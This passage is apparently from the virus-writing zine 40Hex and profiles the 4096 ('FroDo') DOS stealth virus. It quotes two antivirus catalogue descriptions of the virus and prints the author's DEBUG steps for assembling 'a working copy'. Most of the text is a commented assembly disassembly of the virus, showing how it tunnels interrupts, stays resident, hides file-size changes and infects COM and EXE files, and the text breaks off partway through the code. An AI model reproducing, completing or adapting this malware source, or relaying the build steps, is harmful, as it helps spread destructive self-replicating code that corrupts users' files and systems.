40Hex Number 9 Volume 2 Issue 5

40Hex Number 9 Volume 2 Issue 5                                       File 005


Virus Spotlite on: 4096

The 4096, or FroDo, virus was one of the first known stealth viruses.
Presented below are the descriptions found in Patricia Hoffman's VSUM
and in the Computer Virus Catalog.  Of course, the latter description
is far more accurate, albeit shorter.   The virus infects EXE and COM
files but not overlays due to the bizarre method with which it checks
for a valid file extension.  It also cannot handle SYS files.  It has
a boot block in it;  unfortunately, the code which is called to write
the boot block to the disk is damaged and the system crashes when the
virus attempts to access this code.  However, it is worthwhile to rip
out the boot block from the code and write it to a disk;  the display
is pretty neat.

To create a working copy, use debug to create a file with the follow-
ing bytes:

  E9 68 02

and tack on the virus to the end of that file.  Or, do the following:

C:\>DEBUG 4096.COM
-E FD
XXXX:00FD  00.E9   00.68   00.02
-R CX
CX 0FF1
:FF4
-W FD
Writing 0FF4 bytes
-Q

                                        - Dark Angel
 
 
                                     4096                                     
 
 Virus Name:  4096 
 Aliases:     Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
              Virus
 V Status:    Common
 Discovery:   January, 1990
 Symptoms:    .COM, .EXE, & overlay file growth; TSR hides growth;
              crosslinks; corruption of data files
 Origin:      Israel
 Eff Length:  4,096 Bytes
 Type Code:   PRsA - Parasitic Resident .COM & .EXE Infector
 Detection Method:  ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
                    Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
                    ViruSafe
 Removal Instructions: CleanUp, F-Prot, NAV or delete infected files

 General Comments:
       The 4096 virus was first isolated in January, 1990.  This virus is
       considered a stealth virus in that it is almost invisible to the
       system user.

       The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
       bytes to their length.  Once the virus is resident in system memory,
       the increase in length will not appear in a directory listing.  Once
       this virus has installed itself into memory, it will infect any
       executable file that is opened, including if it is opened with the
       COPY or XCOPY command.

       This virus is destructive to both data files and executable files,
       as it very slowly cross-links files on the system's disk.  The
       cross-linking occurs so slowly that it appears there is a hardware
       problem, the virus being almost invisible.  The cross-linking of
       files is the result of the virus manipulating the FATs, changing the
       number of available sectors, as well as the user issuing CHKDSK/F
       command which will think that the files have lost sectors or
       cross-linking if the virus is in memory.

       As a side note, if the virus is present in memory and you attempt to
       copy infected files, the new copy of the file will not be infected
       with the virus if the new copy does not have an executable file
       extension.  Thus, one way to disinfect a system is to copy off all
       the infected files to diskettes with a non-executable file extension
       (i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
       memory, then power off the system and reboot from a write-protected,
       uninfected system disk. Once rebooted and the virus is not in
       memory, delete the infected files and copy back the files from the
       diskettes to the original executable file names and extensions.

       The above will disinfect the system, if done correctly, but will
       still leave the problem of cross-linked files which are permanently
       damaged.

       On or after September 22 of any year, the 4096 virus will hang
       infected systems.  This appears to be a "bug" in the virus in that
       it goes into a time consuming loop.

       The 4096 virus also contains a boot-sector within its code; however,
       it is never written out to the disk's boot sector.  Moving this boot
       sector to the boot sector of a diskette and rebooting the system
       will result in the message "FRODO LIVES" being displayed. September
       22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
       trilogy.

       An important note on the 4096 virus: this virus will also infect
       some data files.  When this occurs, the data files will appear to be
       fine on infected systems.  However, after the system is later
       disinfected, these files will now be corrupted and unpredictable
       results may occur.

       Known variant(s) of 4096 are:
       4096-B: Similar to the 4096 virus, the main change is that the
               encryption mechanism has been changed in order to avoid
               detection.
       4096-C: Isolated in January, 1991, this variant of 4096 is similar
               to the original virus.  The major difference is that the DOS
               CHKDSK command will not show any cross-linking of files or
               lost clusters.  A symptom of infection by this variant is
               that the disk space available according to a DIR command
               will be more than the disk space available according to the
               DOS CHKDSK program.
       4096-D: Isolated in April, 1992, this variant of 4096 is similar
               to the 4096-C variant in behavior.  The major difference is
               that it has been modified to avoid detection by some anti-
               viral utilities.
               Origin:  Unknown  April, 1992. 

======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) ======= 
Entry...............: "4096" virus
Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
Virus Strain........: ---
Virus detected when.: October 1989.
              where.: Haifa, Israel.
Classification......: Program Virus (extending), RAM-resident.
Length of Virus.....: .COM files: length increased by 4096 bytes.
                      .EXE files: length increased by 4096 bytes.
--------------------- Preconditions -----------------------------------
Operating System(s).: MS-DOS
Version/Release.....: 2.xx upward
Computer model(s)...: IBM-PC, XT, AT and compatibles
--------------------- Attributes --------------------------------------
Easy Identification.: ---
Type of infection...: System: Allocates a memory block at high end of
                              memory. Finds original address (inside 
                              DOS) of Int 21h handler. Finds original
                              address (inside BIOS) of Int 13h handler, 
                              therefore bypasses all active monitors.
                              Inserts a JMP FAR to virus code inside 
                              original DOS handler.
                      .COM files: program length increased by 4096
                      .EXE files: program length increased by 4096
Infection Trigger...: Programs are infected at load time (using the
                      function Load/Execute of MS-DOS), and whenever 
                      a file Access is done to a file with the exten-
                      sion of .COM or .EXE, (Open file AH=3D, 
                      Create file AH=3C, File attrib AH=43, 
                      File time/date AH=57, etc.)
Interrupts hooked...: INT21h, through a JMP FAR to virus code inside 
                              DOS handler;
                      INT01h, during virus installation & execution 
                              of DOS's load/execute function (AH=4B);
                      INT13h, INT24h during infection.
Damage..............: The computer usually hangs up.
Damage Trigger......: A Get Dos Version call when the date is after the 
                      22th of September and before 1/1 of next year.
Particularities.....: Infected files have their year set to (year+100)
                      of the un-infected file.
                      If the system is infected, the virus redirects 
                      all file accesses so that the virus itself can
                      not be read from the file. Also, find first/next 
                      function returns are tampered so that files 
                      with (year>100) are reduced by 4096 bytes in size.
--------------------- Agents ------------------------------------------
Countermeasures.....: Cannot be detected while in memory, so no 
                      monitor/file change detector can help.
Countermeasures successful:
                      1) A Do-it-yourself way: Infect system by running 
                         an infected file, ARC/ZIP/LHARC/ZOO all in-
                         fected .COM and .EXE files, boot from unin-
                         fected floppy, and UNARC/UNZIP/LHARC E etc. 
                         all files. Pay special attention to disin-
                         fection of COMMAND.COM.
                      2) The JIV AntiVirus Package (by the author of 
                         this contribution)
                      3) F. Skulason's F-PROT package.
Standard means......: ---
--------------------- Acknowledgement ---------------------------------
Location............: Weizmann Institute, Israel.
Classification by...: Ori Berger
Documentation by....: Ori Berger
Date................: 26-February-1990
===================== End of "4096" Virus =============================

_4096           segment byte public
                assume  cs:_4096, ds:_4096

; 4096 Virus
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
; Assemble with TASM; the resultant file size is 4081 bytes

                org     0
startvirus:
                db      0
                jmp     installvirus
oldheader: ; original 1Ch bytes of the carrier file
                retn
                db      75h,02,44h,15h,46h,20h
                db      'Copyright Bourb%}i, I'
endoldheader:
EXEflag         db       00h
                db      0FEh, 3Ah

int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
                push    bp                      ; set up stack frame
                mov     bp,sp
                push    ax
                cmp     word ptr [bp+4],0C000h  ; in BIOS?
                jnb     foundorigint            ; nope, haven't found it
                mov     ax,cs:DOSsegment        ; in DOS?
                cmp     [bp+4],ax
                jbe     foundorigint
exitint1:
                pop     ax
                pop     bp
                iret
foundorigint:
                cmp     byte ptr cs:tracemode,1
                jz      tracemode1
                mov     ax,[bp+4]               ; save segment of entry point
                mov     word ptr cs:origints+2,ax
                mov     ax,[bp+2]               ; save offset of entry point
                mov     word ptr cs:origints,ax
                jb      finishint1
                pop     ax
                pop     bp
                mov     ss,cs:savess            ; restore the stack to its
                mov     sp,cs:savesp            ; original state
                mov     al,cs:saveIMR           ; Restore IMR
                out     21h,al                  ; (enable interrupts)
                jmp     setvirusints
finishint1:
                and     word ptr [bp+6],0FEFFh  ; turn off trap flag
                mov     al,cs:saveIMR           ; and restore IMR
                out     21h,al
                jmp     short exitint1
tracemode1:
                dec     byte ptr cs:instructionstotrace
                jnz     exitint1
                and     word ptr [bp+6],0FEFFh  ; turn off trap flag
                call    saveregs
                call    swapvirint21            ; restore original int
                lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
                mov     al,1
                call    setvect
                call    restoreregs
                jmp     short finishint1

getint:
                push    ds
                push    si
                xor     si,si                   ; clear si
                mov     ds,si                   ; ds->interrupt table
                xor     ah,ah                   ; cbw would be better!?
                mov     si,ax
                shl     si,1                    ; convert int # to offset in
                shl     si,1                    ; interrupt table (int # x 4)
                mov     bx,[si]                 ; es:bx = interrupt vector
                mov     es,[si+2]               ; get old interrupt vector
                                                ; save 3 bytes if use les bx,[si]
                pop     si
                pop     ds
                retn

installvirus:
                mov     word ptr cs:stackptr,offset topstack
                mov     cs:initialax,ax         ; save initial value for ax
                mov     ah,30h                  ; Get DOS version
                int     21h

                mov     cs:DOSversion,al        ; Save DOS version
                mov     cs:carrierPSP,ds        ; Save PSP segment
                mov     ah,52h                  ; Get list of lists
                int     21h

                mov     ax,es:[bx-2]            ; segment of first MCB
                mov     cs:DOSsegment,ax        ; save it for use in int 1
                mov     es,ax                   ; es = segment first MCB
                mov     ax,es:[1]               ; Get owner of first MCB
                mov     cs:ownerfirstMCB,ax     ; save it
                push    cs
                pop     ds
                mov     al,1                    ; get single step vector
                call    getint
                mov     word ptr ds:oldint1,bx  ; save it for later
                mov     word ptr ds:oldint1+2,es; restoration
                mov     al,21h                  ; get int 21h vector
                call    getint
                mov     word ptr ds:origints,bx
                mov     word ptr ds:origints+2,es
                mov     byte ptr ds:tracemode,0 ; regular trace mode on
                mov     dx,offset int1          ; set new int 1 handler
                mov     al,1
                call    setvect
                pushf
                pop     ax
                or      ax,100h                 ; turn on trap flag
                push    ax
                in      al,21h                  ; Get old IMR
                mov     ds:saveIMR,al
                mov     al,0FFh                 ; disable all interrupts
                out     21h,al
                popf
                mov     ah,52h                  ; Get list of lists
                pushf                           ; (for tracing purposes)
                call    dword ptr ds:origints   ; perform the tunnelling
                pushf
                pop     ax
                and     ax,0FEFFh               ; turn off trap flag
                push    ax
                popf
                mov     al,ds:saveIMR           ; reenable interrupts
                out     21h,al
                push    ds
                lds     dx,dword ptr ds:oldint1
                mov     al,1                    ; restore int 1 to the
                call    setvect                 ; original handler
                pop     ds
                les     di,dword ptr ds:origints; set up int 21h handlers
                mov     word ptr ds:oldint21,di
                mov     word ptr ds:oldint21+2,es
                mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
                mov     word ptr ds:int21store,offset otherint21
                mov     word ptr ds:int21store+2,cs
                call    swapvirint21            ; activate virus in memory
                mov     ax,4B00h
                mov     ds:checkres,ah          ; set resident flag to a
                                                ; dummy value
                mov     dx,offset EXEflag+1     ; save EXE flag
                push    word ptr ds:EXEflag
                int     21h                     ; installation check
                                                ; returns checkres=0 if
                                                ; installed

                pop     word ptr ds:EXEflag     ; restore EXE flag
                add     word ptr es:[di-4],9
                nop                             ; !?
                mov     es,ds:carrierPSP        ; restore ES and DS to their
                mov     ds,ds:carrierPSP        ; original values
                sub     word ptr ds:[2],(topstack/10h)+1
                                                ; alter top of memory in PSP
                mov     bp,ds:[2]               ; get segment
                mov     dx,ds
                sub     bp,dx
                mov     ah,4Ah                  ; Find total available memory
                mov     bx,0FFFFh
                int     21h

                mov     ah,4Ah                  ; Allocate all available memory
                int     21h

                dec     dx                      ; go to MCB of virus memory
                mov     ds,dx
                cmp     byte ptr ds:[0],'Z'     ; is it the last block?
                je      carrierislastMCB
                dec     byte ptr cs:checkres    ; mark need to install virus
carrierislastMCB:
                cmp     byte ptr cs:checkres,0  ; need to install?
                je      playwithMCBs            ; nope, go play with MCBs
                mov     byte ptr ds:[0],'M'     ; mark not end of chain
playwithMCBs:
                mov     ax,ds:[3]               ; get memory size controlled
                mov     bx,ax                   ; by the MCB
                sub     ax,(topstack/10h)+1     ; calculate new size
                add     dx,ax                   ; find high memory segment
                mov     ds:[3],ax               ; put new size in MCB
                inc     dx                      ; one more for the MCB
                mov     es,dx                   ; es->high memory MCB
                mov     byte ptr es:[0],'Z'     ; mark end of chain
                push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
                pop     word ptr es:[1]         ; make it the owner
                mov     word ptr es:[3],160h    ; fill in the size field
                inc     dx
                mov     es,dx                   ; es->high memory area
                push    cs
                pop     ds
                mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
                mov     si,offset topstack-2
                mov     di,si
                std                             ; zopy backwards
                rep     movsw
                cld
                push    es                      ; set up stack for jmp into
                mov     ax,offset highentry     ; virus code in high memory
                push    ax
                mov     es,cs:carrierPSP        ; save current PSP segment
                mov     ah,4Ah                  ; Alter memory allocation
                mov     bx,bp                   ; bx = paragraphs
                int     21h
                retf                            ; jmp to virus code in high
highentry:                                      ; memory
                call    swapvirint21
                mov     word ptr cs:int21store+2,cs
                call    swapvirint21
                push    cs
                pop     ds
                mov     byte ptr ds:handlesleft,14h ; reset free handles count
                push    cs
                pop     es
                mov     di,offset handletable
                mov     cx,14h
                xor     ax,ax                   ; clear handle table
                rep     stosw
                mov     ds:hideclustercountchange,al ; clear the flag
                mov     ax,ds:carrierPSP
                mov     es,ax                   ; es->PSP
                lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
                mov     ds,ax                   ; ds->PSP
                add     ax,10h                  ; adjust for PSP
                add     word ptr cs:oldheader+16h,ax ; adjust jmp location
                cmp     byte ptr cs:EXEflag,0   ; for PSP
                jne     returntoEXE
returntoCOM:
                sti
                mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
                mov     ds:[100h],ax            ; COM file
                mov     ax,word ptr cs:oldheader+2
                mov     ds:[102h],ax
                mov     ax,word ptr cs:oldheader+4
                mov     ds:[104h],ax
                push    word ptr cs:carrierPSP  ; Segment of carrier file's
                mov     ax,100h                 ; PSP
                push    ax
                mov     ax,cs:initialax         ; restore orig. value of ax
                retf                            ; return to original COM file

returntoEXE:
                add     word ptr cs:oldheader+0eh,ax
                mov     ax,cs:initialax         ; Restore ax
                mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
                mov     sp,word ptr cs:oldheader+10h ; original value
                sti
                jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
                                                ; entry point
entervirus:
                cmp     sp,100h                 ; COM file?
                ja      dont_resetstack         ; if so, skip this
                xor     sp,sp                   ; new stack
dont_resetstack:
                mov     bp,ax
                call    next                    ; calculate relativeness
next:
                pop     cx
                sub     cx,offset next          ; cx = delta offset
                mov     ax,cs                   ; ax = segment
                mov     bx,10h                  ; convert to offset
                mul     bx
                add     ax,cx
                adc     dx,0
                div     bx                      ; convert to seg:off
                push    ax                      ; set up stack for jmp
                mov     ax,offset installvirus  ; to installvirus
                push    ax
                mov     ax,bp
                retf                            ; go to installvirus

int21commands:
                db      30h     ; get DOS version
                dw      offset getDOSversion
                db      23h     ; FCB get file size
                dw      offset FCBgetfilesize
                db      37h     ; get device info
                dw      offset get_device_info
                db      4Bh     ; execute
                dw      offset execute
                db      3Ch     ; create file w/ handle
                dw      offset createhandle
                db      3Dh     ; open file
                dw      offset openhandle
                db      3Eh     ; close file
                dw      offset handleclosefile
                db      0Fh     ; FCB open file
                dw      offset FCBopenfile
                db      14h     ; sequential FCB read
                dw      offset sequentialFCBread
                db      21h     ; random FCB read
                dw      offset randomFCBread
                db      27h     ; random FCB block read
                dw      offset randomFCBblockread
                db      11h     ; FCB find first
                dw      offset FCBfindfirstnext
                db      12h     ; FCB find next
                dw      offset FCBfindfirstnext
                db      4Eh     ; filename find first
                dw      offset filenamefindfirstnext
                db      4Fh     ; filename find next
                dw      offset filenamefindfirstnext
                db      3Fh     ; read
                dw      offset handleread
                db      40h     ; write
                dw      offset handlewrite
                db      42h     ; move file pointer
                dw      offset handlemovefilepointer
                db      57h     ; get/set file time/date
                dw      offset getsetfiletimedate
                db      48h     ; allocate memory
                dw      offset allocatememory
endcommands:

otherint21:
                cmp     ax,4B00h                ; execute?
                jnz     notexecute
                mov     cs:checkres,al          ; clear the resident flag
notexecute:
                push    bp                      ; set up stack frame
                mov     bp,sp
                push    [bp+6]                  ; push old flags
                pop     cs:int21flags           ; and put in variable
                pop     bp                      ; why?
                push    bp                      ; why?
                mov     bp,sp                   ; set up new stack frame
                call    saveregs
                call    swapvirint21            ; reenable DOS int 21h handler
                call    disableBREAK
                call    restoreregs
                call    _pushall
                push    bx
                mov     bx,offset int21commands ; bx->command table
scanforcommand:
                cmp     ah,cs:[bx]              ; scan for the function
                jne     findnextcommand         ; code/subroutine combination
                mov     bx,cs:[bx+1]
                xchg    bx,[bp-14h]
                cld
                retn
findnextcommand:
                add     bx,3                    ; go to next command
                cmp     bx,offset endcommands   ; in the table until
                jb      scanforcommand          ; there are no more
                pop     bx
exitotherint21:
                call    restoreBREAK
                in      al,21h                  ; save IMR
                mov     cs:saveIMR,al
                mov     al,0FFh                 ; disable all interrupts
                out     21h,al
                mov     byte ptr cs:instructionstotrace,4 ; trace into
                mov     byte ptr cs:tracemode,1           ; oldint21
                call    replaceint1             ; set virus int 1 handler
                call    _popall
                push    ax
                mov     ax,cs:int21flags        ; get the flags
                or      ax,100h                 ; turn on the trap flag
                push    ax                      ; and set it in motion
                popf
                pop     ax
                pop     bp
                jmp     dword ptr cs:oldint21   ; chain back to original int
                                                ; 21h handler -- do not return

exitint21:
                call    saveregs
                call    restoreBREAK
                call    swapvirint21
                call    restoreregs
                pop     bp
                push    bp                      ; set up stack frame
                mov     bp,sp
                push    word ptr cs:int21flags  ; get the flags and put
                pop     word ptr [bp+6]         ; them on the stack for
                pop     bp                      ; the iret
                iret

FCBfindfirstnext:
                call    _popall
                call    callint21
                or      al,al                   ; Found any files?
                jnz     exitint21               ; guess not
                call    _pushall
                call    getdisktransferaddress
                mov     al,0
                cmp     byte ptr [bx],0FFh      ; Extended FCB?
                jne     findfirstnextnoextendedFCB
                mov     al,[bx+6]
                add     bx,7                    ; convert to normal FCB
findfirstnextnoextendedFCB:
                and     cs:hide_size,al
                test    byte ptr [bx+1Ah],80h   ; check year bit for virus
                jz      _popall_then_exitint21  ; infection tag. exit if so
                sub     byte ptr [bx+1Ah],0C8h  ; alter file date
                cmp     byte ptr cs:hide_size,0
                jne     _popall_then_exitint21
                sub     word ptr [bx+1Dh],1000h ; hide file size
                sbb     word ptr [bx+1Fh],0
_popall_then_exitint21:
                call    _popall
                jmp     short exitint21

FCBopenfile:
                call    _popall
                call    callint21               ; chain to original int 21h
                call    _pushall
                or      al,al                   ; 0 = success
                jnz     _popall_then_exitint21
                mov     bx,dx
                test    byte ptr [bx+15h],80h   ; check if infected yet
                jz      _popall_then_exitint21
                sub     byte ptr [bx+15h],0C8h  ; restore date
                sub     word ptr [bx+10h],1000h ; and hide file size
                sbb     byte ptr [bx+12h],0
                jmp     short _popall_then_exitint21

randomFCBblockread:
                jcxz    go_exitotherint21       ; reading any blocks?

randomFCBread:
                mov     bx,dx
                mov     si,[bx+21h]             ; check if reading first
                or      si,[bx+23h]             ; bytes
                jnz     go_exitotherint21
                jmp     short continueFCBread

sequentialFCBread:
                mov     bx,dx
                mov     ax,[bx+0Ch]             ; check if reading first
                or      al,[bx+20h]             ; bytes
                jnz     go_exitotherint21
continueFCBread:
                call    checkFCBokinfect
                jnc     continuecontinueFCBread
go_exitotherint21:
                jmp     exitotherint21
continuecontinueFCBread:
                call    _popall
                call    _pushall
                call    callint21               ; chain to original handler
                mov     [bp-4],ax               ; set the return codes
                mov     [bp-8],cx               ; properly
                push    ds                      ; save FCB pointer
                push    dx
                call    getdisktransferaddress
                cmp     word ptr [bx+14h],1     ; check for EXE infection
                je      FCBreadinfectedfile     ; (IP = 1)
                mov     ax,[bx]                 ; check for COM infection
                add     ax,[bx+2]               ; (checksum = 0)
                add     ax,[bx+4]
                jz      FCBreadinfectedfile
                add     sp,4                    ; no infection, no stealth
                jmp     short _popall_then_exitint21 ; needed
FCBreadinfectedfile:
                pop     dx                      ; restore address of the FCB
                pop     ds
                mov     si,dx
                push    cs
                pop     es
                mov     di,offset tempFCB       ; copy FCB to temporary one
                mov     cx,25h
                rep     movsb
                mov     di,offset tempFCB
                push    cs
                pop     ds
                mov     ax,[di+10h]             ; get old file size
                mov     dx,[di+12h]
                add     ax,100Fh                ; increase by virus size
                adc     dx,0                    ; and round to the nearest
                and     ax,0FFF0h               ; paragraph
                mov     [di+10h],ax             ; insert new file size
                mov     [di+12h],dx
                sub     ax,0FFCh
                sbb     dx,0
                mov     [di+21h],ax             ; set new random record #
                mov     [di+23h],dx
                mov     word ptr [di+0Eh],1     ; record size = 1
                mov     cx,1Ch
                mov     dx,di
                mov     ah,27h                  ; random block read 1Ch bytes
                call    callint21
                jmp     _popall_then_exitint21

FCBgetfilesize:
                push    cs
                pop     es
                mov     si,dx
                mov     di,offset tempFCB       ; copy FCB to temp buffer
                mov     cx,0025h
                repz    movsb
                push    ds
                push    dx
                push    cs
                pop     ds
                mov     dx,offset tempFCB
                mov     ah,0Fh                  ; FCB open file
                call    callint21
                mov     ah,10h                  ; FCB close file
                call    callint21
                test    byte ptr [tempFCB+15h],80h ; check date bit
                pop     si
                pop     ds
                jz      will_exitotherint21     ; exit if not infected
                les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
                mov     ax,es
                sub     bx,1000h                ; hide increase
                sbb     ax,0
                xor     dx,dx
                mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
                dec     cx
                add     bx,cx
                adc     ax,0
                inc     cx
                div     cx
                mov     [si+23h],ax             ; fix random access record #
                xchg    dx,ax
                xchg    bx,ax
                div     cx
                mov     [si+21h],ax             ; fix random access record #
                jmp     _popall_then_exitint21

filenamefindfirstnext:
                and     word ptr cs:int21flags,-2 ; turn off trap flag
                call    _popall
                call    callint21
                call    _pushall
                jnb     filenamefffnOK          ; continue if a file is found
                or      word ptr cs:int21flags,1
                jmp     _popall_then_exitint21

filenamefffnOK:
                call    getdisktransferaddress
                test    byte ptr [bx+19h],80h   ; Check high bit of date
                jnz     filenamefffnfileinfected; Bit set if infected
                jmp     _popall_then_exitint21
filenamefffnfileinfected:
                sub     word ptr [bx+1Ah],1000h ; hide file length increase
                sbb     word ptr [bx+1Ch],0
                sub     byte ptr [bx+19h],0C8h  ; and date change
                jmp     _popall_then_exitint21

createhandle:
                push    cx
                and     cx,7                    ; mask the attributes
                cmp     cx,7                    ; r/o, hidden, & system?
                je      exit_create_handle
                pop     cx
                call    replaceint13and24
                call    callint21               ; chain to original int 21h
                call    restoreint13and24
                pushf
                cmp     byte ptr cs:errorflag,0 ; check if any errors yet
                je      no_errors_createhandle
                popf
will_exitotherint21:
                jmp     exitotherint21
no_errors_createhandle:
                popf
                jc      other_error_createhandle; exit on error
                mov     bx,ax                   ; move handle to bx
                mov     ah,3Eh                  ; Close file
                call    callint21
                jmp     short openhandle
other_error_createhandle:
                or      byte ptr cs:int21flags,1; turn on the trap flag
                mov     [bp-4],ax               ; set the return code properly
                jmp     _popall_then_exitint21
exit_create_handle:
                pop     cx
                jmp     exitotherint21

openhandle:
                call    getcurrentPSP
                call    checkdsdxokinfect
                jc      jmp_exitotherint21
                cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
                je      jmp_exitotherint21        ; entry in the table
                call    setup_infection         ; open the file
                cmp     bx,0FFFFh               ; error?
                je      jmp_exitotherint21      ; if so, exit
                dec     byte ptr cs:handlesleft
                push    cs
                pop     es
                mov     di,offset handletable
                mov     cx,14h
                xor     ax,ax                   ; find end of the table
                repne   scasw
                mov     ax,cs:currentPSP        ; put the PSP value and the
                mov     es:[di-2],ax            ; handle # in the table
                mov     es:[di+26h],bx
                mov     [bp-4],bx               ; put handle # in return code
handleopenclose_exit:
                and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
                jmp     _popall_then_exitint21
jmp_exitotherint21:
                jmp     exitotherint21

handleclosefile:
                push    cs
                pop     es
                call    getcurrentPSP
                mov     di,offset handletable
                mov     cx,14h                  ; 14h entries max
                mov     ax,cs:currentPSP        ; search for calling PSP
scanhandle_close:
                repne   scasw
                jnz     handlenotfound          ; handle not trapped
                cmp     bx,es:[di+26h]          ; does the handle correspond?
                jne     scanhandle_close        ; if not, find another handle
                mov     word ptr es:[di-2],0    ; otherwise, clear handle
                call    infect_file
                inc     byte ptr cs:handlesleft ; fix handles left counter
                jmp     short handleopenclose_exit ; and exit
handlenotfound:
                jmp     exitotherint21

getdisktransferaddress:
                push    es
                mov     ah,2Fh                  ; Get disk transfer address
                call    callint21               ; to es:bx
                push    es
                pop     ds                      ; mov to ds:bx
                pop     es
                retn
execute:
                or      al,al                   ; load and execute?
                jz      loadexecute             ; yepper!
                jmp     checkloadnoexecute      ; otherwise check if
                                                ; load/no execute
loadexecute:
                push    ds                      ; save filename
                push    dx
                mov     word ptr cs:parmblock,bx; save parameter block and
                mov     word ptr cs:parmblock+2,es; move to ds:si
                lds     si,dword ptr cs:parmblock
                mov     di,offset copyparmblock ; copy the parameter block
                mov     cx,0Eh
                push    cs
                pop     es
                rep     movsb
                pop     si                      ; copy the filename
                pop     ds                      ; to the buffer
                mov     di,offset copyfilename
                mov     cx,50h
                rep     movsb
                mov     bx,0FFFFh
                call    allocate_memory         ; allocate available memory
                call    _popall
                pop     bp                      ; save the parameters
                pop     word ptr cs:saveoffset  ; on the stack
                pop     word ptr cs:savesegment
                pop     word ptr cs:int21flags
                mov     ax,4B01h                ; load/no execute
                push    cs                      ; ds:dx -> file name
                pop     es                      ; es:bx -> parameter block
                mov     bx,offset copyparmblock
                pushf                           ; perform interrupt 21h
                call    dword ptr cs:oldint21
                jnc     continue_loadexecute    ; continue if no error
                or      word ptr cs:int21flags,1; turn on trap flag
                push    word ptr cs:int21flags  ; if error
                push    word ptr cs:savesegment ; restore stack
                push    word ptr cs:saveoffset
                push    bp                      ; restore the stack frame
                mov     bp,sp                   ; and restore ES:BX to
                les     bx,dword ptr cs:parmblock ; point to the parameter
                jmp     exitint21               ; block
continue_loadexecute:
                call    getcurrentPSP
                push    cs
                pop     es
                mov     di,offset handletable   ; scan the handle table
                mov     cx,14h                  ; for the current PSP's
scanhandle_loadexecute:                         ; handles
                mov     ax,cs:currentPSP
                repne   scasw
                jnz     loadexecute_checkEXE
                mov     word ptr es:[di-2],0    ; clear entry in handle table
                inc     byte ptr cs:handlesleft ; fix handlesleft counter
                jmp     short scanhandle_loadexecute
loadexecute_checkEXE:
                lds     si,dword ptr cs:origcsip
                cmp     si,1                    ; Check if EXE infected
                jne     loadexecute_checkCOM
                mov     dx,word ptr ds:oldheader+16h ; get initial CS
                add     dx,10h                  ; adjust for PSP
                mov     ah,51h                  ; Get current PSP segment
                call    callint21
                add     dx,bx                   ;adjust for start load segment
                mov     word ptr cs:origcsip+2,dx
                push    word ptr ds:oldheader+14h       ; save old IP
                pop     word ptr cs:origcsip
                add     bx,10h                          ; adjust for the PSP
                add     bx,word ptr ds:oldheader+0Eh    ; add old SS
                mov     cs:origss,bx
                push    word ptr ds:oldheader+10h       ; old SP
                pop     word ptr cs:origsp
                jmp     short perform_loadexecute
loadexecute_checkCOM:
                mov     ax,[si]                 ; Check if COM infected
                add     ax,[si+2]
                add     ax,[si+4]
                jz      loadexecute_doCOM       ; exit if already infected
                push    cs                      ; otherwise check to see
                pop     ds                      ; if it is suitable for
                mov     dx,offset copyfilename  ; infection
                call    checkdsdxokinfect
                call    setup_infection
                inc     byte ptr cs:hideclustercountchange
                call    infect_file             ; infect the file
                dec     byte ptr cs:hideclustercountchange
perform_loadexecute:
                mov     ah,51h                  ; Get current PSP segment
                call    callint21
                call    saveregs
                call    restoreBREAK
                call    swapvirint21
                call    restoreregs
                mov     ds,bx                   ; ds = current PSP segment
                mov     es,bx                   ; es = current PSP segment
                push    word ptr cs:int21flags  ; restore stack parameters
                push    word ptr cs:savesegment
                push    word ptr cs:saveoffset
                pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
                pop     word ptr ds:[0Ch]       ; to return address found on
                                                ; the stack
                                                ; (int 21h caller CS:IP)
                push    ds
                lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
                mov     al,22h                  ; Set terminate address to it
                call    setvect
                pop     ds
                popf
                pop     ax
                mov     ss,cs:origss            ; restore the stack
                mov     sp,cs:origsp            ; and
                jmp     dword ptr cs:origcsip   ; perform the execute

loadexecute_doCOM:
                mov     bx,[si+1]               ; restore original COM file
                mov     ax,word ptr ds:[bx+si-261h]
                mov     [si],ax
                mov     ax,word ptr ds:[bx+si-25Fh]
                mov     [si+2],ax
                mov     ax,word ptr ds:[bx+si-25Dh]
                mov     [si+4],ax
                jmp     short perform_loadexecute
checkloadnoexecute:
                cmp     al,1
                je      loadnoexecute
                jmp     exitotherint21
loadnoexecute:
                or      word ptr cs:int21flags,1; turn on trap flag
                mov     word ptr cs:parmblock,bx; save pointer to parameter
                mov     word ptr cs:parmblock+2,es ; block
                call    _popall
                call    callint21               ; chain to int 21h
                call    _pushall
                les     bx,dword ptr cs:parmblock ; restore pointer to
                                                ; parameter block
                lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
                jc      exit_loadnoexecute
                and     byte ptr cs:int21flags,0FEh ; turn off trap flag
                cmp     si,1                    ; check for EXE infection
                je      loadnoexecute_EXE_already_infected
                                                ; infected if initial IP = 1
                mov     ax,[si]                 ; check for COM infection
                add     ax,[si+2]               ; infected if checksum = 0
                add     ax,[si+4]
                jnz     perform_the_execute
                mov     bx,[si+1]               ; get jmp location
                mov     ax,ds:[bx+si-261h]      ; restore original COM file
                mov     [si],ax
                mov     ax,ds:[bx+si-25Fh]
                mov     [si+2],ax
                mov     ax,ds:[bx+si-25Dh]
                mov     [si+4],ax
                jmp     short perform_the_execute
loadnoexecute_EXE_already_infected:
                mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
                call    getcurrentPSP
                mov     cx,cs:currentPSP
                add     cx,10h                  ; adjust for PSP
